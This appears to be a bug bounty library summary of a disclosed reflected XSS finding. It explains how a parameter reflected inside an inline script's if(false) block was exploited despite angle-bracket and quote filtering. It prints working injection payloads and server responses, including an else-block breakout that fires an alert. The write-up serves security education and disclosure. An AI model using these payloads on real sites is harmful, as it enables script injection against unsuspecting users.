# XSSed my way to 1000$

Reflected XSS in a script-tag context bypassed <,>,quote filters by breaking out of a string and injecting an else block to fire alert.

- Payout: $1,100
- Severity: medium
- Program: -
- Found by: Gaurav Narwani (@gauravnarwani97)
- Disclosed: 2019-05-17
- Write-up quality: 6/10
- Original: https://gauravnarwani.com/xssed-my-way-to-1000/
- Library page: https://bugbountylibrary.com/r/blog%3Agauravnarwani-com-xssed-my-way-to-1000
- Tags: area:web domain:web impact:integrity kind:bounty platform:blog sev:medium technique:source-review vuln:xss

**Target:** Web application parameter reflected inside a script tag
**Root cause:** Parameter value is reflected unescaped inside a JavaScript string within an if(false) block; the app rejects < and filters " to &quot; and > to &gt;, leaving single quotes, parentheses and newlines usable to break out and inject code.
**Steps:**
1. Observe parameter `a` reflected inside a `<script>` tag.
2. Confirm `<` rejected and `"`/`>` encoded to `&quot;`/`&gt;`.
3. Break out of string with `'` and close call with `)}`, e.g. `1')}`.
4. Note payload inside `if(false)` block never executes.
5. Inject newline `%0A` and `else{` to create an executing branch: `1′)}%0Aelse{%0Aalert(‘XSS’);(‘`.
6. Balance trailing parenthesis with `('` so script parses; alert fires.
**How found:** Noticed reflection inside a script tag, tried tag breakout, hit filters, then read the surrounding JS and realized the payload landed in an if(false) branch, so used an else block to make it execute.
**Exploitation:** Craft a URL with the payload in parameter a; victim visiting the link executes alert('XSS') in the page origin, demonstrating reflected XSS.
**Insight:** When reflection lands inside a dead branch (if(false)) of inline JS, don't just break the string—inject an `else{...}` (newlines via %0A) to create a live code path, and balance leftover parentheses to keep the script parsing.

## Proof of concept (copied exactly from the original report)

**Final XSS payload with else bypass**

```
Payload: example.com?a= 1′)}%0Aelse{%0Aalert(‘XSS’);(‘
Response:
<script type=”text/javascript”>
            if (somefunction !== something) { something = true; }
            if (false) {
                something.start(‘1’)}
else{
alert(‘XSS’);(‘ ‘)
}
</script>
 
And the XSS box popped up on the webpage:

 Final payload used: 1′)}%0Aelse{%0Aalert(‘XSS’);(‘
```

**Reflected payload escaping script tag**

```
Payload: example.com?a=hello’)}alert(‘XSS’);
Response:
<script type=”text/javascript”>
            if (somefunction !== something) { something = true; }
            if (false) {
                something.start(‘hello’)}alert(‘XSS’); ‘}
```

**Filter bypass without angle brackets**

```
Payload: example.com?a=’)}hello”>
Response:
<script type=”text/javascript”>
            if (somefunction !== something) { something = true; }
            if (false) {
                something.start(‘’)}hello&quot;&gt; ‘}
```